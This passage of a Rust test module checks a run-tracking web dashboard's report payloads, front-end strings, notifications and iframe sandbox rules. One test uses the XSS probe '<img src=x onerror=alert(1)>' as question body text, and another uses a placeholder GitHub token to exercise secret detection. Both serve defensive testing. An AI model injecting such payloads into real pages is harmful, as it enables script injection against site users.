21237            .expect("judging section exists");
21238
21239        // Existing summary lines remain intact
21240        let delib_lines = judging["deliberation"].as_array().unwrap();
21241        assert_eq!(delib_lines.len(), 2);
21242        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21243        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21244
21245        // rounds carry turn bodies, tentative and parsed body_md
21246        let rounds = judging["rounds"].as_array().unwrap();
21247        assert_eq!(rounds.len(), 2);
21248        let r1_t0 = &rounds[0]["turns"][0];
21249        assert_eq!(r1_t0["judge"], 1);
21250        assert_eq!(r1_t0["agent"], "judge-1");
21251        assert_eq!(r1_t0["tentative"], "A");
21252        assert_eq!(
21253            r1_t0["body"],
21254            "I prefer candidate **A** because it has cleaner tests."
21255        );
21256        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21257
21258        let r2_t0 = &rounds[1]["turns"][0];
21259        assert_eq!(r2_t0["judge"], 1);
21260        assert_eq!(r2_t0["agent"], "judge-1");
21261        assert!(r2_t0["tentative"].is_null());
21262        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21263        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21264
21265        // A run with empty deliberation array yields empty rounds
21266        let id_empty = "20260902-140504-nodelib";
21267        write_run(&f.runs(), id_empty, RunStatus::Merged);
21268        let path_empty = f.runs().join(id_empty).join("run.json");
21269        let mut v_empty: serde_json::Value =
21270            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21271        v_empty["judgements"] = serde_json::json!([
21272            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21273        ]);
21274        v_empty["deliberation"] = serde_json::json!([]);
21275        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21276
21277        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21278        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21279        let j_empty = res_empty.json();
21280        let judging_empty = j_empty["sections"]
21281            .as_array()
21282            .unwrap()
21283            .iter()
21284            .find(|s| s["kind"] == "judging")
21285            .expect("judging section exists");
21286        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21287    }
21288
21289    #[tokio::test]
21290    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21291        let f = Fixture::start().await;
21292
21293        let html = f.get("/").await;
21294        let css = f.get("/app.css").await;
21295        let js = f.get("/app.js").await;
21296
21297        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21298        assert!(
21299            html.headers
21300                .contains("content-type: text/html; charset=utf-8")
21301        );
21302        assert!(css.headers.contains("content-type: text/css"));
21303        assert!(js.headers.contains("content-type: text/javascript"));
21304        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21305    }
21306
21307    #[test]
21308    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21309        let body = |name: &str| {
21310            let at = APP_JS
21311                .find(name)
21312                .unwrap_or_else(|| panic!("{name} missing"));
21313            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21314        };
21315        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21316        let note = body("function landRoundNote");
21317        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21318        assert!(note.contains("Land round ${round}"));
21319        let land = body("function renderLand");
21320        let note_at = land
21321            .find("landRoundNote(pr)")
21322            .expect("renderLand uses the note");
21323        assert!(
21324            note_at
21325                < land
21326                    .find("roundRail(pr)")
21327                    .expect("renderLand uses the rail")
21328        );
21329    }
21330
21331    #[test]
21332    fn the_runs_page_redesign_keeps_its_guards() {
21333        let body = |name: &str| {
21334            let at = APP_JS
21335                .find(name)
21336                .unwrap_or_else(|| panic!("{name} missing"));
21337            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21338        };
21339        // A null child must never reach the native append (it prints "null").
21340        let land = body("function renderLand");
21341        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21342        assert!(
21343            !land.contains("box.append("),
21344            "renderLand must use append()"
21345        );
21346        assert!(land.contains("append(box, ["));
21347        // Tabs are hash routes; the run id alone decides a reload.
21348        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21349        assert!(
21350            body("function applyRoute")
21351                .contains("route.name !== state.route.name || route.id !== state.route.id")
21352        );
21353        // The decorative diagram is gone, the strip and its guards stay.
21354        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21355        assert!(!INDEX_HTML.contains("advise-converge"));
21356        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21357        assert!(APP_JS.contains("provisional"));
21358        for id in [
21359            "run-tab-overview",
21360            "run-tab-timeline",
21361            "run-tab-report",
21362            "run-report",
21363            "runs-scope",
21364        ] {
21365            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21366        }
21367        assert!(!INDEX_HTML.contains("runs-tree"));
21368        assert!(!INDEX_HTML.contains("run-raw-panel"));
21369        // Fold still says it cannot be resumed.
21370        assert!(APP_JS.contains("resume"));
21371        // The unreadable-runs count stays on the page.
21372        assert!(APP_JS.contains("unreadable"));
21373    }
21374
21375    #[test]
21376    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21377        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21378        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21379        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21380        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21381        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21382        // The subtitle still counts them whatever the banner does.
21383        assert!(APP_JS.contains("unreadable` : null"));
21384    }
21385
21386    #[test]
21387    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21388        let mut state = RunState::new(
21389            "/repo".into(),
21390            "main".into(),
21391            "abc".into(),
21392            "task".into(),
21393            crate::config::Config::default(),
21394        );
21395        state.status = RunStatus::Blocked;
21396        state.gate_ran = true;
21397        state.gate.push(crate::run::CommandOutcome {
21398            command: "cargo make check".into(),
21399            code: Some(1),
21400            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21401            duration_ms: 0,
21402            resource_blocked: false,
21403        });
21404        let view = RunDetailView::of(
21405            state,
21406            false,
21407            crate::run::Liveness::Unknown,
21408            None,
21409            None,
21410            None,
21411        );
21412        let value = serde_json::to_value(view).unwrap();
21413        assert_eq!(
21414            value["stop_reason"],
21415            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21416        );
21417    }
21418
21419    #[test]
21420    fn the_run_detail_payload_says_whether_the_run_is_done() {
21421        // `landView` reads `run.done`; the detail response must carry it.
21422        for (status, done) in [
21423            (RunStatus::Superseded, true),
21424            (RunStatus::Blocked, true),
21425            (RunStatus::Landing, false),
21426        ] {
21427            let mut state = RunState::new(
21428                std::path::PathBuf::from("/repo"),
21429                "main".to_owned(),
21430                "abc".to_owned(),
21431                "x".to_owned(),
21432                crate::config::Config::default(),
21433            );
21434            state.status = status;
21435            let v = serde_json::to_value(RunDetailView::of(
21436                state,
21437                false,
21438                crate::run::Liveness::Unknown,
21439                None,
21440                None,
21441                None,
21442            ))
21443            .unwrap();
21444            assert_eq!(v["done"], done, "{status:?}");
21445        }
21446    }
21447
21448    /// The first node of a markdown block holds a `strong` somewhere.
21449    fn has_strong(nodes: &[md::Node]) -> bool {
21450        serde_json::to_string(nodes).unwrap().contains("strong")
21451    }
21452
21453    #[test]
21454    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21455        let mut state = RunState::new(
21456            std::path::PathBuf::from("/repo"),
21457            "main".to_owned(),
21458            "abc".to_owned(),
21459            "x".to_owned(),
21460            crate::config::Config::default(),
21461        );
21462        let proposal = |approach: &str| {
21463            serde_json::json!({
21464                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21465            })
21466        };
21467        state.advice = Some(
21468            serde_json::from_value(serde_json::json!({
21469                "records": [
21470                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21471                     "proposal": proposal("do **this**")},
21472                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21473                ],
21474                "synthesis": "- one\n- **two**\n\n`code`",
21475            }))
21476            .unwrap(),
21477        );
21478        state.candidates = serde_json::from_value(serde_json::json!([
21479            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21480             "summary": "did **it**"},
21481            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21482        ]))
21483        .unwrap();
21484        // Recorded in ascending severity, the reverse of how the page sorts
21485        // them: the arrays must follow the record, not the display.
21486        state.reviews = serde_json::from_value(serde_json::json!([{
21487            "round": 1, "head": "h",
21488            "reviews": [{
21489                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21490                "findings": [
21491                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21492                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21493                ],
21494            }],
21495            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21496            "fix": {"agent": "a", "notes": "fixed **it**",
21497                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21498        }, {"round": 2, "head": "h2", "reviews": []}]))
21499        .unwrap();
21500
21501        let v = serde_json::to_value(RunDetailView::of(
21502            state,
21503            false,
21504            crate::run::Liveness::Unknown,
21505            None,
21506            None,
21507            None,
21508        ))
21509        .unwrap();
21510
21511        let strong = |p: &str| {
21512            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21513            assert!(n.to_string().contains("strong"), "{p}: {n}");
21514        };
21515        strong("/advice_md/synthesis");
21516        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21517        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21518        strong("/advice_md/approaches/0");
21519        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21520        strong("/candidate_summaries_md/0");
21521        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21522        strong("/reviews_md/0/reviewers/0/summary");
21523        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21524        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21525        assert!(f[1].to_string().contains("strong"));
21526        strong("/reviews_md/0/reconsideration/0");
21527        strong("/reviews_md/0/fix/notes");
21528        strong("/reviews_md/0/fix/rejected/0");
21529        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21530        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21531        // The raw strings stay, and no schema moved.
21532        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21533        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21534    }
21535
21536    #[test]
21537    fn a_run_without_advice_has_no_advice_md() {
21538        let state = RunState::new(
21539            std::path::PathBuf::from("/repo"),
21540            "main".to_owned(),
21541            "abc".to_owned(),
21542            "x".to_owned(),
21543            crate::config::Config::default(),
21544        );
21545        let p = run_prose_md(&state);
21546        assert!(p.advice_md.is_none());
21547        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21548    }
21549
21550    #[test]
21551    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21552        let store = ask::Questions::at(PathBuf::from("unused"));
21553        let gt = crate::github_text::Withheld {
21554            title: false,
21555            body: true,
21556            categories: vec!["sensitive-data".into()],
21557        };
21558        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21559        let (detail, comparison) =
21560            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21561        let mut q = Question::new(
21562            "r".into(),
21563            "github-text".into(),
21564            "posting-gate".into(),
21565            "s".into(),
21566            detail,
21567            Vec::new(),
21568        );
21569        assert!(
21570            QuestionView::of(q.clone(), &store, None)
21571                .posting_view
21572                .is_none()
21573        );
21574        q.posting_comparison = Some(comparison);
21575        let view = QuestionView::of(q.clone(), &store, None);
21576        let field = &view.posting_view.unwrap().fields[0];
21577        assert_eq!(
21578            field
21579                .original
21580                .iter()
21581                .map(|f| f.text.as_str())
21582                .collect::<String>(),
21583            body
21584        );
21585        assert!(field.original[0].text.starts_with("<img"));
21586        let original_question: Question =
21587            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21588        assert_eq!(original_question, q);
21589        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21590            .original
21591            .start = 1;
21592        assert!(
21593            QuestionView::of(q.clone(), &store, None)
21594                .posting_view
21595                .is_none()
21596        );
21597        q.posting_comparison = original_question.posting_comparison;
21598        q.detail.push_str("extra context");
21599        assert!(
21600            QuestionView::of(q.clone(), &store, None)
21601                .posting_view
21602                .is_some()
21603        );
21604        q.detail.insert(0, 'x');
21605        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21606    }
21607
21608    #[test]
21609    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21610        let store = ask::Questions::at(PathBuf::from("unused"));
21611        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21612        let gt = crate::github_text::Withheld::from_check(
21613            &crate::github_text::check("fix: x", body),
21614            "fix: x",
21615            body,
21616        )
21617        .unwrap();
21618        let (detail, comparison) =
21619            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21620        let mut q = Question::new(
21621            "r".into(),
21622            "github-text".into(),
21623            "posting-gate".into(),
21624            "s".into(),
21625            detail,
21626            Vec::new(),
21627        );
21628        q.posting_comparison = Some(comparison);
21629        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21630        let field = &value["posting_view"]["fields"][0];
21631        let group = &field["replacement_group"];
21632        let triggers = group["triggers"].as_array().unwrap();
21633        assert_eq!(triggers.len(), 2);
21634        assert_ne!(triggers[0], triggers[1]);
21635        for id in triggers {
21636            assert!(
21637                field["original"]
21638                    .as_array()
21639                    .unwrap()
21640                    .iter()
21641                    .any(|f| &f["pair"] == id)
21642            );
21643            assert!(
21644                !field["changed"]
21645                    .as_array()
21646                    .unwrap()
21647                    .iter()
21648                    .any(|f| &f["pair"] == id)
21649            );
21650        }
21651        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21652            group["id"].as_u64().unwrap() as usize;
21653        assert!(
21654            QuestionView::of(q, &store, None).posting_view.is_none(),
21655            "group and trigger IDs cannot collide"
21656        );
21657    }
21658
21659    #[test]
21660    fn a_question_view_carries_markdown_for_each_thread_turn() {
21661        let home = TempDir::new().unwrap();
21662        let store = ask::Questions::at(home.path().join("questions"));
21663        let mut q = Question::new(
21664            "run".to_owned(),
21665            "implement".to_owned(),
21666            "impl-A".to_owned(),
21667            "which?".to_owned(),
21668            String::new(),
21669            Vec::new(),
21670        );
21671        q.say("plain words").unwrap();
21672        q.reply("use **this**", Vec::new()).unwrap();
21673        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21674        let bodies = &v["thread_bodies_md"];
21675        assert_eq!(bodies.as_array().unwrap().len(), 2);
21676        assert!(!bodies[0].to_string().contains("strong"));
21677        assert!(bodies[1].to_string().contains("strong"));
21678    }
21679
21680    #[test]
21681    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21682        let home = TempDir::new().unwrap();
21683        let store = ask::Questions::at(home.path().join("questions"));
21684        let mut q = Question::new(
21685            "run".to_owned(),
21686            "conduct".to_owned(),
21687            "conduct".to_owned(),
21688            "which?".to_owned(),
21689            String::new(),
21690            Vec::new(),
21691        );
21692        q.say("plain words").unwrap();
21693        q.thread.push(ask::Turn {
21694            who: ask::Who::Agent,
21695            body: "Settled as `merge`".to_owned(),
21696            at: jiff::Timestamp::now(),
21697            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21698        });
21699        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21700        let notes = &v["thread_notes_md"];
21701        assert_eq!(notes.as_array().unwrap().len(), 2);
21702        assert!(notes[0].is_null());
21703        let text = notes[1].to_string();
21704        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21705        assert!(APP_JS.contains("ask-turn-note"));
21706    }
21707
21708    #[test]
21709    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21710        // The land panel defers to `run.status` for merged, and labels a
21711        // recorded-open PR on any finished run (superseded, blocked, ...) as
21712        // last seen, never as live state.
21713        assert!(APP_JS.contains("function landView(run, raw) {"));
21714        assert!(
21715            APP_JS.contains(
21716                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21717            )
21718        );
21719        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21720        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21721        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21722        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21723    }
21724
21725    #[test]
21726    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21727        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21728        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21729        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21730        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21731    }
21732
21733    #[test]
21734    fn review_rounds_label_a_distinct_verified_head() {
21735        assert!(APP_JS.contains("round.verified_head"));
21736        assert!(APP_JS.contains("verified HEAD"));
21737        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21738    }
21739
21740    #[test]
21741    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21742        // A blocked task's chip and note must not fall back to a queued-like
21743        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21744        // itself by e11fc58 but never checked here.
21745        assert!(APP_JS.contains("blocked: { glyph:"));
21746        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21747
21748        // `blocked_by` mixes task ids and question ids in the same list, and
21749        // the client can only tell them apart by checking each id against
21750        // what it actually knows - never by guessing from the id's shape.
21751        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21752        assert!(
21753            APP_JS.contains(
21754                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21755            ),
21756            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21757        );
21758        // The classification must key off `status_str`, never off `blocked_by`
21759        // or `block_reason` merely being present - both can survive briefly
21760        // on a task a hold or a dead daemon just moved off `blocked`.
21761        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21762
21763        // A question a task is blocked on gets its own node in the same
21764        // dependency graph, not just a task-shaped node with nothing known
21765        // about it.
21766        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21767        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21768        assert!(
21769            APP_JS.contains("location.hash = \"#/questions\";"),
21770            "a question node must jump to the Questions screen, not pretend to be a task"
21771        );
21772
21773        // `Task::answers` - decisions already made - are shown as a record on
21774        // the card, the same disclosure style as the full instruction.
21775        assert!(APP_JS.contains("Resolved questions"));
21776        assert!(APP_JS.contains("r.answersList.append("));
21777        assert!(APP_CSS.contains(".task-answers"));
21778        {
21779            let start = APP_JS
21780                .find("function updateTalkTaskRow")
21781                .expect("updateTalkTaskRow");
21782            let body = &APP_JS[start..];
21783            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21784            assert!(
21785                body.contains(
21786                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21787                ),
21788                "a chat-filed task row must link to the task page"
21789            );
21790            assert!(
21791                !body.contains("#/runs/") && !body.contains("#/queue/"),
21792                "the row must not branch to a run or the queue card"
21793            );
21794            assert!(APP_CSS.contains(".talk-task-link"));
21795        }
21796    }
21797
21798    #[test]
21799    fn a_task_notification_links_to_the_task_page() {
21800        // A task notice opens the task detail page, not the Backlog card.
21801        let start = APP_JS
21802            .find("function noticeLink(")
21803            .expect("noticeLink exists");
21804        let body = &APP_JS[start..];
21805        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21806        assert!(
21807            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21808            "a task notice's link must target the task page"
21809        );
21810        assert!(
21811            !body.contains("#/queue/"),
21812            "regression: the task link must not go back to the Backlog route"
21813        );
21814        assert!(
21815            APP_JS.contains(
21816                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21817            ),
21818            "`#/tasks/<id>` must parse into the task route"
21819        );
21820
21821        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21822        assert!(
21823            APP_JS.contains(
21824                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21825            ),
21826            "`#/queue/<id>` must parse into a route carrying that id"
21827        );
21828
21829        // And the Backlog view has to actually land on the card once it can
21830        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21831        // so a focus set before the queue has loaded is retried once it has.
21832        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21833        assert!(APP_JS.contains("function consumeQueueFocus()"));
21834        assert!(APP_JS.contains("jumpToTask(id)"));
21835    }
21836
21837    #[test]
21838    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21839        let start = APP_JS
21840            .find("function noticeCoveredBy(")
21841            .expect("noticeCoveredBy exists");
21842        let body = &APP_JS[start..];
21843        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21844
21845        // Historical associations are informational, even for open questions.
21846        assert!(body.contains("Associated question ${short}"));
21847        assert!(!body.contains("el(\"a\""));
21848
21849        // A resolved question displays status rather than an actionable link
21850        assert!(body.contains("(resolved)"));
21851        assert!(body.contains("(closed)"));
21852
21853        let start = APP_JS
21854            .find("function renderNotifications()")
21855            .expect("renderNotifications exists");
21856        let body = &APP_JS[start..];
21857        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21858
21859        // Only a server-resolved answerable question supplies a response link.
21860        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21861        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21862        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21863        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21864    }
21865
21866    /// Chat rows are two lines at every width: the title alone, then the
21867    /// shrinkable secondary info.
21868    #[test]
21869    fn chat_rows_put_the_title_alone_on_the_first_line() {
21870        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21871        assert!(APP_CSS.contains(
21872            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21873        ));
21874        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21875        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21876    }
21877
21878    #[test]
21879    fn run_rows_put_the_title_alone_on_the_first_line() {
21880        assert!(
21881            APP_CSS.contains(
21882                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21883            )
21884        );
21885        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21886        assert!(APP_JS.contains("class: \"card run-card\""));
21887        assert!(APP_JS.contains("class: \"repo run-id\""));
21888    }
21889
21890    /// Wide screens get a master/detail layout built from the views a phone
21891    /// drills into. These are string assertions: they pin the contract between
21892    /// the three assets, not how it looks.
21893    #[test]
21894    fn wide_screens_show_list_and_preview_side_by_side() {
21895        // One breakpoint, spelled the same in the script and the stylesheet.
21896        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21897        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21898        assert!(APP_CSS.contains("main[data-split]"));
21899        assert!(APP_CSS.contains("body[data-split]"));
21900
21901        // The route -> panes table, and a narrow screen opting out of it.
21902        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21903        assert!(
21904            APP_JS.contains(
21905                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21906            )
21907        );
21908        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21909        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21910        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21911
21912        // Selection is derived from the route, and only ever paints a row.
21913        assert!(APP_JS.contains("function markSelected() {"));
21914        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21915        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21916        // The dense row must override the stacked card the 720px block sets up.
21917        assert!(
21918            APP_CSS.contains(
21919                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21920            )
21921        );
21922
21923        // Independent scrolling: the page stops scrolling, each pane does.
21924        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21925        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21926        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21927        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21928
21929        // A refresh must never navigate: the loaders still check that their
21930        // subject is the one on screen, and crossing the breakpoint only
21931        // re-reads the hash.
21932        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21933        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21934        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21935        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21936
21937        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21938        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21939    }
21940
21941    #[test]
21942    fn panel_sandbox_carries_exactly_popups() {
21943        let needle = "sandbox: \"";
21944        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21945        assert_eq!(
21946            matches.len(),
21947            1,
21948            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21949        );
21950        let start = matches[0].0 + needle.len();
21951        let end = APP_JS[start..]
21952            .find('"')
21953            .expect("sandbox attribute value must be terminated by a closing quote");
21954        let val = &APP_JS[start..start + end];
21955        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21956        let expected: std::collections::BTreeSet<&str> =
21957            ["allow-popups", "allow-popups-to-escape-sandbox"]
21958                .into_iter()
21959                .collect();
21960        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21961        assert!(
21962            !tokens.contains("allow-scripts"),
21963            "allow-scripts must never be present in sandbox"
21964        );
21965        assert!(
21966            !tokens.contains("allow-same-origin"),
21967            "allow-same-origin must never be present in sandbox"
21968        );
21969    }
21970
21971    #[test]
21972    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21973        // consumeQueueFocus() clears an active Backlog search before it can
21974        // scroll to the target card (the sections list is hidden while a
21975        // search is showing), by recursing back into renderQueue(). The
21976        // fixer's first cut nulled state.queueFocus before that recursive
21977        // call, so the second pass saw nothing to jump to and the jump was
21978        // silently dropped whenever a notification's link was opened with a
21979        // stale search still active. state.queueFocus must only be cleared
21980        // right before jumpToTask() actually runs.
21981        assert!(
21982            APP_JS.contains(
21983                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21984            ),
21985            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21986             recursive renderQueue() call has nothing left to jump to"
21987        );
21988        assert!(
21989            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21990            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21991             arrives later still gets it"
21992        );
21993        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21994        assert!(APP_JS.contains("is not in the current Backlog."));
21995        assert!(APP_JS.contains("li.card[data-task-id=\""));
21996        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21997        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21998        assert!(APP_CSS.contains(".card-permalink"));
21999        assert!(APP_CSS.contains(".queue-focus-status"));
22000        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22001    }
22002
22003    #[test]
22004    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22005        // The task's own repro: only the link text inside .notice-meta was
22006        // clickable, so a tap on the message, the timestamp, or the card's
22007        // padding did nothing - on a phone that reads as "the card doesn't
22008        // work" even though the tiny link inside it did. Mark read / Dismiss
22009        // must keep working independently of this: `.closest("a, button")`
22010        // is what lets a tap that actually lands on those elements fall
22011        // through instead of being hijacked into a navigation.
22012        assert!(
22013            APP_JS.contains(
22014                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22015            ),
22016            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22017        );
22018    }
22019
22020    #[test]
22021    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22022        assert!(
22023            APP_JS.contains("round.verified_head !== round.head"),
22024            "a round that verified an earlier commit must be visibly distinct from one that \
22025             verified the head reviewers are looking at now"
22026        );
22027        assert!(
22028            APP_JS.contains("round.verified_at"),
22029            "when a check ran must be on the wire, not just which commit"
22030        );
22031        assert!(
22032            APP_JS.contains("resource_blocked"),
22033            "a command magi never got to run (shared build cache contention) must not render \
22034             the same as a command that ran and failed"
22035        );
22036    }
22037
22038    #[test]
